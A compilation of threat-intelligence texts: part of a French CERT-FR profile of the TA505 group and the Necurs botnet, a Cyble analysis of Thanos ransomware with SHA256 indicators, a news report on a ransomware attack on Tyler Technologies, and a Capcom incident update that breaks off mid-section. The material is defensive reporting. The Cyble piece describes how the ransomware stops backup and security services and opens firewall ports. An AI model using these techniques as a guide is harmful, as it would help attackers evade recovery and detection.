pour héberger ses documents Office piégés et pour ses serveurs C2. La durée de vie de cette infrastructure est généralement de moins d’un mois et le mode opératoire génère en permanence de nouveaux noms de domaine. Ces noms de domaine sont souvent composés de plusieurs mots séparés d’un « - » et cherchent généralement à typosquatter des services de partage de fichiers tels que Onedrive ou Onehub par exemple. TA505 emploierait une stratégie différente pour les serveurs C2 de ses outils de pénétration comme TinyMet ou CobaltStrike. Il utilise ainsi directement des adresses IP comme serveur C2 et non plus des noms de domaine, mais s’appuie toujours sur de l’infrastructure louée. Peu d’informations sont disponibles sur l’infrastructure compromise par le mode opératoire. Une analyse a été faite des serveurs web compromis par le mode opératoire en février 2019, indiquant que plusieurs exemplaires de la console web malveillante Filesman avaient été retrouvés ainsi qu’une porte dérobée Linux non documentée. ### 2.8 Ciblage Bien qu’elles ne représentent qu’une fraction de l’activité véritable du mode opératoire, le tableau ci-dessous présente un ensemble de campagnes menées par TA505, documentées en source ouverte depuis 2018. | Période | Zone géographique ciblée | Secteur ciblé | |-----------------------------|--------------------------|------------------------| | Janvier 2018 | N/A | Industrie automobile | | Août 2018 | N/A | Financier | | Septembre-Octobre 2018 | N/A | Financier | | Novembre 2018 | N/A | Financier | | Décembre 2018 | N/A | Financier | | Novembre-Décembre 2018 | États-Unis | Distribution | | Décembre 2018 – Mars 2019 | Chili, Inde, Italie, Malawi, Pakistan, Afrique du Sud, Corée du Sud, Chine, Royaume-Uni, France, États-Unis | Financier, Hôtellerie | | Février 2019 | Corée du Sud | N/A | | Avril 2019 | N/A | Financier | | Avril 2019 | Chili, Mexique, Italie, Chine, Corée du Sud, Taïwan | N/A | | Juin 2019 | Émirats Arabes Unis, Corée du Sud, Singapour, États-Unis, Arabie Saoudite, Maroc | N/A | | Juin-Juillet 2019 | États-Unis, Bulgarie, Turquie, Serbie, Inde, Philippines, Indonésie | Banques | | Juin 2019 | Japon, Philippines, Argentine | N/A | | Juillet-Août 2019 | Arabie Saoudite, Oman | Agences gouvernementales | | Juillet-Août 2019 | Turquie | Agences gouvernementales | | Septembre 2019 | Canada, États-Unis | N/A | | Septembre 2019 | Grèce, Singapour, Émirats Arabes Unis, Géorgie, Suède, Lituanie | Financier | | Octobre 2019 | Royaume-Uni, France, États-Unis | Financier, Santé, Vente, Éducation, Recherche | | Décembre 2019 | Corée du Sud | N/A | | Décembre 2019 | Allemagne, Pays-Bas | Éducation, Pharmaceutique | | Janvier-Mars 2020 | États-Unis | Santé, Vente | Le secteur financier était la cible exclusive du mode opératoire avant 2018 et en est resté une cible régulière depuis. TA505 a cependant depuis progressivement élargi sa victimologie vers de nombreux autres secteurs. D’un point de vue géographique, tous les continents sont ciblés par ce mode opératoire. Un point d’intérêt est l’attention particulière que TA505 semble porter à la Corée du Sud. Cet intérêt pourrait être lié au fait que ce mode opératoire aurait pu travailler en lien avec le mode opératoire Lazarus. ## 3 Liens avec d’autres groupes d’attaquants ### 3.1 Clientèle Au vu de son arsenal varié, du champ étendu de ses cibles, de ses campagnes parfois massives, parfois ciblées, il est possible que TA505 soit un hacker-for-hire, c’est-à-dire un prestataire de service en compromission et qualification d’accès au sein de SI. Ses clients lui fourniraient une liste de cibles potentielles, que TA505 essaierait de compromettre, pour ensuite vendre ces accès compromis ou qualifiés réalisés aux clients. Au moins deux clients potentiels ont pu être identifiés par des éditeurs : le mode opératoire d’attaque (MOA) Lazarus réputé lié à des intérêts nord-coréens et le groupe Silence. #### 3.1.1 Lazarus La présence simultanée de Lazarus et de TA505 aurait déjà été constatée par différentes sources. Début janvier 2018, le CERT vietnamien a publié une alerte relative à des attaques ciblant le secteur financier, mêlant des indicateurs de compromission attribués à des MOA réputés liés à des intérêts nord-coréens à d’autres attribués à TA505. D’après Lexfo, des IOCs trouvés simultanément sur des réseaux de banques, ainsi que des scripts Powershell, attribués à TA505 et à Lazarus semblent similaires. En outre, le ciblage privilégié de la Corée du Sud par TA505 pourrait illustrer la commande d’un client final tel qu’un MOA réputé lié à des intérêts nord-coréens. #### 3.1.2 Silence Il existe des liens de codes et d’infrastructure entre Flawed Ammyy et Truebot (aka Silence.Downloader), outil d’administration à distance propre à Silence. Selon l’éditeur Group-IB, Flawed Ammyy.downloader et Truebot auraient été développés par le même individu. De plus, Silence aurait attaqué au moins une banque en Europe en passant par TA505 pour compromettre son SI. ### 3.2 FIN7 D’après l’Institut de sécurité financière sud-coréen (FSI), il existe des similitudes entre TA505 et le groupe cybercriminel FIN7, héritier de Carbanak et dorénavant spécialisé dans le vol de données de cartes bancaires. Les deux groupes : - partageraient des adresses IP de serveurs C2 communes ; - utiliseraient Flawed Ammyy, Cobalt Strike et TinyMet (BabyMetal pour FIN7) ; - utiliseraient des batch scripts pour faire de la reconnaissance interne ; - se latéraliseraient par le biais du protocole RDP et de PSExec ; - utiliseraient Shim Database (SDB) de la même manière. À défaut de similitudes, FIN7 et TA505 pourraient en fait collaborer. En effet, il semble que le FSI ait observé qu’une chaîne d’infection en adéquation avec celles de TA505 déployait des codes malveillants ciblant des terminaux de point de vente (PoS systems), appartenant à FIN7. ## 4 Conclusion Malgré l’ampleur de son activité en tant qu’affilié de Dridex et Locky, TA505 n’a été identifié en tant que tel qu’en 2017, concomitamment à ses premières utilisations de portes dérobées. Souvent confondu avec le groupe cybercriminel EvilCorp (opérant le botnet Dridex et le rançongiciel BitPaymer), et parfois considéré comme l’opérateur du botnet Necurs, TA505 utilise un arsenal d’attaque évolutif qu’il met en œuvre lors de campagnes variées et parfois simultanées, pouvant porter à confusion sur ses motivations. À ce titre, les liens qu’il présente avec Lazarus et Silence suggèrent que TA505 mènerait en parallèle des campagnes pour son compte et des campagnes pour le compte de sa clientèle. L’ampleur de ses campagnes depuis 2019, et son ciblage de nombreux secteurs en France, fait de ce mode opératoire une menace particulièrement préoccupante en 2020. ## 5 Annexe : le botnet Necurs ### 5.1 Retour sur le botnet Necurs En 2011, apparaît le botnet Necurs (alias CraP2P). Deux des modules connus du botnet sont les suivants : - **spam**, utilisé par exemple : - lors de campagnes de type pump and dump (notamment relatives à des cryptoactifs) comme en mars 2017 ; - en 2018, lorsque Necurs acquiert un nouveau module .NET spamming ; - entre 2016 et 2017, lorsque Necurs a notamment propagé le cheval de Troie bancaire Kegotip via aussi bien The Uprateloader que The Rockloader, afin de récupérer les adresses courriels disponibles dans les disques durs et de les utiliser lors de campagnes de spams à venir ; - après le démantèlement du botnet Kelihos en 2017, lorsque Necurs aurait récupéré une partie de son activité, consistant notamment en des dating spam. - **proxy/DDoS** (ajout du module DoS en février 2017). Le botnet Necurs communique avec ses opérateurs par différents moyens : - Son mécanisme de communication principal consiste en une liste d’adresses IP et de domaines statiques codés en dur dans l’échantillon du code malveillant Necurs ; - Si cette méthode n’est pas capable d’obtenir un C2 actif, Necurs utilise son algorithme de génération de domaines (DGA) : la DGA principale produit 2048 domaines C2 possibles tous les 4 jours. Lorsque les opérateurs de Necurs enregistrent un domaine DGA pour informer les bots de l’existence d’un nouveau C2, le domaine ne pointe pas vers la réelle adresse IP du C2. Cette adresse IP est obfusquée avec un algorithme de chiffrement. Tous les domaines sont essayés jusqu’à ce qu’un d’eux soit résolu et réponde en utilisant le protocole correct ; - Si cette méthode échoue également, le domaine C2 est récupéré sur le réseau P2P. De plus, l’infrastructure du C2 est divisée en trois niveaux, le dernier étant le C2 backend. Ainsi, un système infecté communique avec au moins deux couches de proxy C2 lorsqu’il cherche à communiquer avec le C2 backend. La première couche de C2 est constituée des serveurs virtuels privés bon marché de pays comme la Russie ou l’Ukraine tandis que la seconde couche est généralement hébergée en Europe, et parfois en Russie. Il y aurait 11 botnets Necurs, soit 11 C2 backends, étroitement contrôlés par un seul groupe. Quatre de ces botnets représenteraient 95% de toutes les infections. ### 5.2 Distribution massive par Necurs De 2016 à 2019, Necurs aurait été la méthode la plus répandue pour délivrer des spams et des codes malveillants pour le compte de cybercriminels, et aurait été responsable de 90% des codes malveillants distribués par courriel à travers le monde. Il serait passé de 1 million de systèmes infectés en 2016 à 9 millions en date du 10 mars 2020. Entre 2016 et 2017, Necurs distribue principalement les rançongiciels Locky, Jaff (copy cat de Locky), GlobeImposter, Philadelphia, Lukitus et Ykcol (variantes de Locky) et Scarab, ainsi que les chevaux de Troie bancaires Dridex et TrickBot. À partir d’août 2018, Necurs commence à réaliser des campagnes d’hameçonnage ciblées à l’encontre d’entités financières, tout en continuant sa propagation massive de codes malveillants (Flawed Ammyy, Quant Loader, AZOrult, etc.). En 2020, Necurs perd des clients au profit d’Emotet, qui le remplace dans la distribution de Dridex et de TrickBot, et distribue des campagnes de spams massives du type get-rich-quick. Ses infections quotidiennes ont principalement cours en Inde, en Indonésie, en Iran, au Mexique, en Turquie, au Vietnam et en Thaïlande. En France, 4892 infections ont été comptabilisées. TA505 aurait massivement distribué des codes malveillants via le botnet Necurs au point qu’il peut être envisagé que le groupe opère ce botnet, ou tout du moins qu’il soit en étroite collaboration avec son véritable opérateur. Bien qu’il soit possible que TA505 et l’opérateur du botnet Necurs aient été confondus, il semble que la source ouverte a tendance à attribuer à TA505 l’intégralité des campagnes propagées par Necurs jusqu’à au moins fin 2017 (campagnes de spams de type pump-and-dump et autres escroqueries étant exclues), alors que c’est un gigantesque botnet probablement utilisé par d’autres groupes cybercriminels que TA505. En effet, les propriétaires de botnets, contrôlés à distance, sont souvent en mesure de louer l’accès à des segments de leur botnet sur le marché noir, pour l’envoi de DDoS, de campagnes de spam, etc. ## 6 Bibliographie 1. PROOFPOINT. Threat Actor Profile : TA505, From Dridex to GlobeImposter. 27 sept. 2017. 2. CERT-FR, “Le Code Malveillant Dridex : Origines et Usages”. In : (25 mai 2020). 3. BITSIGHT, Dridex : Chasing a Botnet from the Inside. 1er jan. 2015. 4. BIT SIGHT. Dridex Botnets. 24 jan. 2017. 5. TWITTER, “@Kafeine”. In : (1er jan. 2019). 6. SECUREWORKS. Evolution of the GOLDEVERGREEN Threat Group. 15 mai 2017. 7. PROOFPOINT, “High-Volume Dridex Banking Trojan Campaigns Return”. In : (4 avr. 2017). 8. PALO ALTO. Locky : New Ransomware Mimics Dridex-Style Distribution. 16 fév. 2016. 9. PROOFPOINT. TA505 Shifts with the Times. 8 juin 2018. 10. SENSEPOST, “Macro-Less Code Exec in MSWord”. In : (9 oct. 2017). 11. Trend MICRO. Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and Flower Pippi. 4 juil. 2019. 12. KOREA INTERNET & SECURITY AGENCY, KISA Cyber Security Issue Report : Q2 2019. 13 août 2019. 13. FIREEYE. STOMP 2 DIS : Brilliance in the (Visual) Basics. 5 fév. 2020. 14. PROOFPOINT. Leaked Ammyy Admin Source Code Turned into Malware. 7 mar. 2018. 15. PROOFPOINT, “TA505 Abusing SettingContent-Ms within PDF Files to Distribute FlawedAmmyy RAT”. In : (19 juil. 2018). 16. PROOFPOINT, “tRat : New Modular RAT Appears in Multiple Email Campaigns”. In : (15 nov. 2018). 17. PROOFPOINT, “ServHelper and FlawedGrace - New Malware Introduced by TA505”. In : (9 jan. 2019). 18. TREND MICRO. TA505 At It Again : Variety Is the Spice of ServHelper and FlawedAmmyy. 27 août 2019. 19. PROOFPOINT. TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. 15 oct. 2019. 20. KOREAN FINANCIAL SECURITY INSTITUTE, “Profiling of TA505 Threat Group”. In : (28 fév. 2020). 21. MICROSOFT SECURITY INTELLIGENCE, “Mise à Jour Dudear”. In : (30 jan. 2020). 22. PROOFPOINT, “New Modular Downloaders Fingerprint Systems, Prepare for More - Part 1: Marap”. In : (16 oct. 2018). 23. TRENDMICRO. Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. 12 juin 2019. 24. PROOFPOINT. TA505 Begins Summer Campaigns with a New Pet Malware Downloader, AndroMut, in the UAE, South Korea, Singapore, and the United States. 2 juil. 2019. 25. CYBERINT. Legit Remote Admin Tools Turn into Threat Actors’ Tools. 1er jan. 2019. 26. TWITTER. @Kafeine. 24 déc. 2019. 27. BLUELIV. TA505 Evolves ServHelper, Uses Predator The Thief and Team Viewer Hijacking. 17 déc. 2019. 28. US-CERT. COVID-19 Exploited by Malicious Cyber Actors. 8 avr. 2020. 29. FOX IT. Reactie Universiteit Maastricht Op Rapport FOX-IT. 5 fév. 2020. 30. BLEEPING COMPUTER. Three More Ransomware Families Create Sites to Leak Stolen Data. 24 mar. 2020. 31. CERT-FR, “Informations Concernant Le Rançongiciel Clop”. In : (22 nov. 2019). 32. DEUTSCH TELEKOM. TA505’s Box of Chocolate - On Hidden Gems Packed with the TA505 Packer. 26 mar. 2020. 33. CYWARE. The Many Faces and Activities of Ever-Evolving Necurs Botnet. 29 déc. 2019. 34. MORPHISEC, “Morphisec Uncovers Global “Pied Piper” Campaign”. In : (29 nov. 2018). 35. PROOFPOINT, “TA505 Targets the US Retail Industry with Personalized Attachments”. In : (12 juin 2018). 36. CYBEREASON. Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. 25 avr. 2019. 37. YOROI. TA505 Is Expanding Its Operations. 29 mai 2019. 38. BLEEPING COMPUTER, “Ransomware Hits Maastricht University, All Systems Taken Down”. In : (27 déc. 2019). 39. CERT-FR, “Le Groupe Cybercriminel Silence”. In : (7 mai 2020). 40. NORFOLK INFOSEC. OSINT Reporting Regarding DPRK and TA505 Overlap. 10 avr. 2019. 41. LEXFO, The Lazarus Constellation. 19 fév. 2020. 42. GROUP-IB, “SILENCE 2.0”. In : (1er août 2019). 43. GROUP-IB. New Financially Motivated Attacks in Western Europe Traced to Russian-Speaking Threat Actors. 27 mar. 2020. 44. TWITTER. @Kafeine. 24 avr. 2020. 45. THREATPOST. Necurs Botnet Evolves to Hide in the Shadows, with New Payloads. 27 jan. 2020. 46. PROOFPOINT. Locky Ransomware: Dridex Actors Get In The Game. 6 avr. 2016. 47. SECURITY INTELLIGENCE. The Necurs Botnet: A Pandora’s Box of Malicious Spam. 24 avr. 2017. 48. BITSIGHT. Joint Effort with Microsoft to Disrupt Massive Criminal Botnet Necurs. 10 mar. 2020. 49. THESHADOWSERVERFOUNDATION. Has The Sun Set On The Necurs Botnet? 15 mar. 2020. 50. THREATPOST. As Necurs Botnet Falls from Grace, Emotet Rises. 29 jan. 2020.
# Prometheus: An Emerging Ransomware Group Using Thanos Ransomware to Target Organizations During our regular threat hunting operations, the Cyble Research team found a blog on the dark web, hosted by the Prometheus ransomware group. This blog is a clear indication that the group is back in action these days. In the blog, the group has affiliated itself with the REvil ransomware group. Based on our research, Cyble researchers have found a sample of the Thanos ransomware being used by the Prometheus group for a recent ransomware attack. The technical analysis we have performed on the file is shared below: ## TECHNICAL ANALYSIS: The Thanos ransomware is a 32-bit .NET executable file that is highly obfuscated. On decompiling it, we saw that the file has non-readable codes that made it difficult to reverse the file. We used a de-obfuscation tool to read the contents of the file, but complete code was not de-obfuscated. While decompiling, we also found a data object that contained a list of base64 encoded strings and several other plain strings. These strings helped us check the possible activities performed by the ransomware. Apart from the base64 encoded strings, the modified Thanos ransomware sample contained additional interesting strings related to document file extensions, link file name for persistence, system information, and extensions of various database files. On running the program, we found that only document files and database file extensions are being encrypted by the ransomware. After finding the base64 encoded strings, we de-obfuscated them and observed that the strings were enumerated by the ransomware at runtime to check the running processes. Our observations also indicated that the ransomware started and stopped various services and programs after enumerating the processes. ### Services Started by the Ransomware | Services | Description | |------------|-----------------------------------------------------------------------------| | Dnscache | Used for client-side DNS resolution for faster DNS query. | | FDRsePub | Makes computer and resources visible in the network. | | SSDPSRV | Discovers networked devices. | | upnphost | Discovering universal plug and play devices. | The ransomware stops several services that are critical for various purposes. This includes antivirus, system backup and restoring, database backup and restoring, and reporting tools. The purpose behind stopping the services is to block the backup and restoring operations, which has the potential to facilitate data recovery in the future. In addition to starting and stopping services, the Thanos ransomware also uses the SC (Service Control) command to permanently change service configuration. The ransomware also terminates multiple processes running in the system for faster operation using taskkill.exe. Some of these programs are excel.exe, steam.exe, sqlwriter.exe, thunderbird.exe, and msaccess.exe. This variant of the Thanos ransomware checks for various security tools used by malware researchers for reversing the malware. The Thanos ransomware uses an interesting technique for obfuscation. At runtime, it loads the reversed base64 encoded string containing the registry information. For network operations, the ransomware changes the Firewall rules to open various ports and allows outbound connection from other systems. The ransomware starts encryption after stopping all the backup and restoring services, disabling security software, and changing the network state. The modified sample of the Thanos ransomware uses the AES encryption technique, and after encrypting files, it appends a custom extension that is unique for every malware file, unlike most other ransomware that typically append extensions based on the system. While encrypting the files, the ransomware drops the ransom file containing the ransom note in hta and text format. It is evident that more ransomware groups will emerge in the near future. Most of the time these groups use existing ransomware with slight modifications for evading detections. ## Indicators of Compromise (IoC): Here’s the list of sha256 of the files related to the recent Thanos ransomware attacks: ``` 779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc a787997af509035b1e84f3cde7f8d62c1e02e8cc368fb95402783a0ed50f33f8 3605b9af44b153ef39a5bbe6d98ab8e6ef58b1f0f1c76eca4a3fb9b9a4042605 c2a01ef5115f2d41dffa1b1a697d1d05b2b9532a70552473aab36d8e4dda7928 d662580e70711ba15f0bc65096a2298801ee7bc373ced3eb59582a637aeeb5fd e9388ca092c87f310a159e03d3dd97b3ce79cd6cc642a7f3b057d0fa3dcde42c 5c66963cf7d417ffe475afdf18906df5c6dcd8dbbb1462918f197323dabb6f19 e15f9169021b5e11381547d57a952b98e06f6366161d56083ff9be69fc43e9bf fdf8c15f27cfbf534cbc9771e3d4e42632a5993bb4b08f444111147ec540e273 c76825aeaa7960e44bda9786efbcbb6e7865ef9f27fa6931e566aa44d88ad9cd 27ba35dbeb5324bd780ae6a95c5aae93fcb47c5aa8f48b1c21f83000a55de2da 785fdf2e6765a7b8870bd0b40d3e944536315604babfe30a7ca3466c02e411fe 2eb10ec6fa0d6d3f02a362ad5cbd55da6df47d23cfbacc3bc5a549e761cef7c8 b6f774f46949d54a060dabf2d7d08eef9fd390091f419ce1a2b555bcd58b2d32 e56cbdd422dda00fe75d80d0491195a3c42bade324ffebd913dcab29f741b9f6 0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454 e5211ef62f023a71cd5aa493f788198c2b97d6f79854f6e5f399893430e5ad0e ef97bf49a9bd00a994143852590cc3a2d20227e510dc2b5968704d8f100b4d3c 8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7 9d9897d274e7a9ba3037d450dc6833c679e9ef8d125bd9d8b0329213df45b9e3 9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b ba6fbc352cc9a89771ca33901729dff8d1181a76f711ab74a61fb35df3bf8a19 1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554 1c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb 48be948c3345e8c8b10c612a88eeee6bd1bf8af076092cf88268a268e889e698 1136907e76399f1d76694ee9c540b387ed6a5b12340b60f3fabfc183bca457df 714f630043670cdab4475971a255d836a1366e417cd0b60053bf026551d62409 a0e20c580e8a82f4103af90d290f762bd847fadd4eba1f5cd90e465bb9f810b7 e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3 20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5 aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7 83e2ba9faf075547be65d2b6dbd13e190a0b1c1cf626788cb756ab7a3c770dcb 4e747c7024d9a76e22a31d38aee9408749023fc65b917c6d9ac05dd3afc3f36f 9e573ba20b55f6149d801491c0ebb51c9f1c954b956a2f6cea6f18af68f0164b 6e016c4d1db409b5e499289f31bcb6b87b5c46b29d4fcba4a50a7b68d733b93e 8b55f596d8179b043f050f42bc7c079d07be918fe321805aff1a00f88dd8f06d b9acf82471bc22c7ce444684759d7506d407286989141028a2621a0b0f535094 ea55c78b15e2045f26ea39db122acb9a5cca84ba97625f444054f3efa331b386 113230f881d7008fad3d62e34ce79f1b9273f604303f1b5c1450cff6481655de a88db6dc88a37a79056f466c6e0878569715409c5387be4947789cc924a97b92 3caa5163083177d40dd9ec2c3b84d0b37c82e2ee9807a50338af89f132a354d9 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d 0cfed709f1954141a3c5a363e4e95d7e5b546ef310cfb9a63f0ca20ccc6ed152 2033194ab3c2602eb9d3b31eeb5432514c423eac213f1219e5865dfee371ed58 a5a544ef213bc2e02937fa7e0967a4b6ba926b9f5b3485dd108e232521155bf7 5fb35d559259cd85537265346901bb52083090489266608cef0a1c85de214aed ad6b792c1e886156cd81586205a81aa92b9f256bd57cbcc527d194ae3f1b53d0 52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3 899f48bad035165acf8869af63922619f8a901bbeb8a7fc13919ba90dd9e7768 ``` Organizations should implement the following best practices to strengthen the security posture of their organization’s systems: - Check for instances of standard executables executing with the hash of another process. - Implement multi-factor authentication (MFA), especially for privileged accounts. - Use separate administrative accounts on different administration workstations. - Employ Local Administrator Password Solution (LAPS). - Allow the least privilege to employees on data access. - Use MFA to secure Remote Desktop Protocol (RDP) and “jump boxes” for access. - Secure your endpoints by deploying and maintaining endpoint defense tools. - Always keep all software up-to-date. - Keep antivirus signatures and engines up-to-date. - Avoid adding users to the local administrators’ group unless required. - Implement a strong password policy and enforce regular password changes. - Configure a personal firewall on organization workstations to deny unwanted connection requests. - Deactivate unnecessary services on organization workstations and servers. ## About Cyble Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Cyble’s prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence.
# Government Software Provider Tyler Technologies Hit by Ransomware Leading government technology services provider Tyler Technologies has suffered a ransomware attack that has disrupted its operations. Tyler Technologies is one of the largest U.S. software development and technology services companies dedicated to the public sector. With a forecasted $1.2 billion in revenue for 2020 and 5,500 employees, Tyler Technologies provides technical services for local governments in many states in the USA. Starting earlier today, Tyler Technologies' website began to display a maintenance message, and their Twitter account tweeted that they were having technical difficulties. In an email seen by BleepingComputer, Tyler Technologies CIO Matt Bieri emailed clients stating that they are investigating a cyberattack and have notified law enforcement. "I am writing to make you aware of a security incident involving unauthorized access to our internal phone and information technology systems by an unknown third party. We are treating this matter with the highest priority and working with independent IT experts to conduct a thorough investigation and response." "Early this morning, we became aware that an unauthorized intruder had disrupted access to some of our internal systems. Upon discovery and out of an abundance of caution, we shut down points of access to external systems and immediately began investigating and remediating the problem. We have since engaged outside IT security and forensics experts to conduct a detailed review and help us securely restore affected equipment. We are implementing enhanced monitoring systems, and we have notified law enforcement," Bieri stated in an email to clients. Bieri also stated that current investigations indicate that the attack was limited to Tyler Technologies' local network. In posts to the Municipal Information Systems Association of California (MISAC) forum shared with BleepingComputer, local government employees were told that Tyler Technologies suffered a ransomware attack affecting their phone ticketing system and support systems. "We were told this morning from one of the support techs that they got hit with ransomware early this morning on their corporate networks. Don't have any other details at this point other than support is down until they access their systems," one local municipality employee posted to the MISAC forum. Another MISAC user stated that they heard the attack was limited to Tyler Technologies' internal network and did not affect clients. Tyler Technologies hit by RansomExx ransomware. Cybersecurity sources familiar with the attack told BleepingComputer that Tyler Technologies suffered an attack by the RansomExx ransomware. RansomExx is a rebranded version of the Defray777 ransomware and has seen increased activity since June when they attacked the Texas Department of Transportation (TxDOT), Konica Minolta, and most recently IPG Photonics. While BleepingComputer has not obtained the ransom note, we found an encrypted file uploaded to VirusTotal today related to this attack. This encrypted file has an extension of '.tylertech911-f1e1a2ac,' which includes Tyler Technologies' name and is the same format used in other RansomExx attacks. RansomExx does not have a ransomware data leak site, but that does not mean they do not steal unencrypted files before deploying their ransomware. BleepingComputer has contacted Tyler Technologies with further questions but has not received a response.
# Capcom Co., Ltd. **4th Update Regarding Data Security Incident Due to Unauthorized Access: Investigation Results** Capcom Co., Ltd. (Capcom) has previously issued statements from November 4, 2020, through January 12, 2021 (“previous announcements”) announcing that it has been the victim of an attack due to unauthorized access to its network by a third party and that some personal information maintained by the Capcom Group has been compromised (“the incident,” below). The investigation into the incident, carried out with the cooperation of external specialist companies, has been completed and Capcom has received their findings. As such, Capcom can now make an announcement regarding the findings of that investigation as well as the measures it will take to prevent future incidents. At this point in time, the Capcom Group’s internal systems are near to completely restored, and while coordinating with the newly established Information Technology Security Oversight Committee, the company will work toward continuously strengthening both security and the protection of personal information going forward. Capcom offers its sincerest apologies for any complications and concerns its customers as well as its many stakeholders may have experienced, and further, would like to express its deepest gratitude for their ongoing support during this time. ## 1. Incident Response Timeline - **November 2, 2020**: Detected connectivity issues with internal network. Shut down systems and began examining. Confirmed that these issues stemmed from a ransomware attack, which encrypted data on devices on the company’s network. Discovered a threatening message from a group that calls itself Ragnar Locker on the affected devices and contacted the Osaka Prefectural Police. Requested support for system restoration from external companies. - **November 3, 2020**: Began contacting the relevant organizations in each country, including investigative authorities and those that oversee the protection of personal information. - **November 4, 2020**: Issued the press release: “Notice Regarding Network Issues due to Unauthorized Access.” - **November 12, 2020**: Verified that nine items of personal information and some corporate information had been compromised. - **November 13, 2020**: Approached external IT security specialist company regarding investigating the root cause of this matter. - **November 16, 2020**: Issued the press release: “Update Regarding Data Security Incident Due to Unauthorized Access.” Continued investigation into compromised and potentially compromised data. - **December 21, 2020**: Held preparatory meeting ahead of the launch of the Information Technology Security Oversight Committee, which functions as an advisory group for matters related to system security with external security experts. - **January 12, 2021**: Issued the press release: “3rd Update Regarding Data Security Incident Due to Unauthorized Access.” - **January 18, 2021**: Held first Information Technology Security Oversight Committee meeting. - **February 25, 2021**: Held second Information Technology Security Oversight Committee meeting. - **March 26, 2021**: Held third Information Technology Security Oversight Committee meeting. - **March 31, 2021**: Received investigation findings from external IT security specialist company. Received additional information from external software company. Issued the press release: “4th Update Regarding Data Security Incident Due to Unauthorized Access: Investigation Results.” ## 2. Root Cause and Scope Capcom worked with multiple companies including major security vendors and IT specialist companies to carry out an investigation into the devices and transmission logs affected in the attack. As a result of carrying out this investigation, Capcom has found that the incident occurred as described in the following summary. Further, as stated in previous announcements, the Company has been coordinating both domestically and overseas with law enforcement and related organizations, while also continually reporting and corresponding on a timely basis with the authorities that oversee the protection of personal information in each country. According to the IT specialists, unauthorized access to the Company’s internal network was acquired in October 2020 through a cyberattack carried out on an older backup VPN (Virtual Private Network) device that had been maintained at its North American subsidiary (Capcom U.S.A., Inc.). At that time, the Capcom Group, including the North American subsidiary, had already introduced a different, new model of VPN devices; however, due to the growing burden on the Company’s network stemming from the spread of COVID-19 in the State of California, where this North American subsidiary is located, one of the aforementioned older VPN devices remained solely at this North American subsidiary as an emergency backup in case of communication issues, and it became the target of the attack. The device in question has already been removed from the network at this time. The IT specialists determined that following this, some devices were compromised at both the Company’s U.S. and Japanese offices through the affected old VPN device at the Company’s North American subsidiary, leading to the theft of information. While the Company had existing perimeter security measures in place and, as explained below, was in the processes of adopting defensive measures such as a SOC service and EDR, the Company had been forced to prioritize infrastructure improvements necessitated by the spread of COVID-19. As a result, the use of these measures was still in the process of being verified (not yet implemented) at the time this matter took place. Following the final stage of the attack, some devices at both the Company’s U.S. and Japanese offices were infected with ransomware on November 1, 2020, beginning at approximately 11 PM (JST), resulting in the files on affected devices being encrypted. Beginning in the early morning hours of November 2, 2020, some of the Capcom Group networks experienced issues that affected access to certain systems, including email and file servers. While the Company halted certain operations, it worked to quickly restore them. The above is a broad explanation of the incident from the external specialist companies, who have provided Capcom with the conclusion that the incident was a malicious, multi-faceted attack that would be difficult to defend against. ## 3. Security Measures to Prevent Reoccurrences In addition to the Company’s existing perimeter security measures, following the incident, Capcom has taken a variety of measures to strengthen existing security with the aim of preventing any reoccurrence. This includes the introduction of an SOC service, which continuously monitors external connections, and EDR, which allows for early detection of unusual activity on devices. Below are explanations of both the measures Capcom has taken to address the incident and those it plans to carry out, as of the time of this announcement. ### i. Technical Measures **[Implementation complete]** - Leading software company carried out cleaning of all compromised devices - Reverified the safety of all VPN devices and that security measures are complete (further, old VPN device at North American subsidiary described above has been disposed of) - Introduced SOC (Security Operation Center) service in order to monitor external connections around the clock - Introduced the latest EDR (Endpoint Detection and Response) to provide early detection of unusual activity and computer virus infection on devices - Reviewed accounts used for business purposes - Further improved management methods for VPN and other devices, including those pertaining to long-term storage of logs to facilitate a quick response in the case that an incident occurs **[Implementation planned]** While Capcom has been informed by external specialist companies and the Information Technology Security Oversight Committee that items a.~f. above are in line with current best practices, it is possible that new threats and methods of attack could be created. Going forward, Capcom will continue to take various measures to address any such future developments with direction from the Information Technology Security Oversight Committee. ### ii. Organizational Measures **[Implementation complete]** - Launched the Information Technology Security Oversight Committee in the latter half of January 2021 in order to receive recommendations on a continuous basis from external experts based on the latest trends, with an aim to procure external checks and the swift accumulation of knowhow regarding strengthening cyber security (including data protection for securing personal information, etc.). Externally, there are four Committee members who consist of two university professors who are cyber security experts, one lawyer who is an expert on both cyber security and the Act on the Protection of Personal Information, and one certified public accountant that is an IT system audit specialist; internally, one director as well as three technicians who oversee security and networks participate. The Committee plans to continue to regularly hold meetings to strengthen protection standards. - Established the Information Technology Surveillance Section in December 2020, a new section directly under the Information Technology Security Oversight Committee, which gathers information regarding cyber security and builds knowledge of preventative measures to make recommendations, etc. - Strengthened the system for regular verification, including for the adoption of tools, in the management of accounts used for business purposes. - Constructed system to further raise awareness of security and the management of personal information at the Group overall. **[Implementation planned]** Build out and regulate a system for further strengthening security based on the PDCA cycle. ## 4. Compromised and 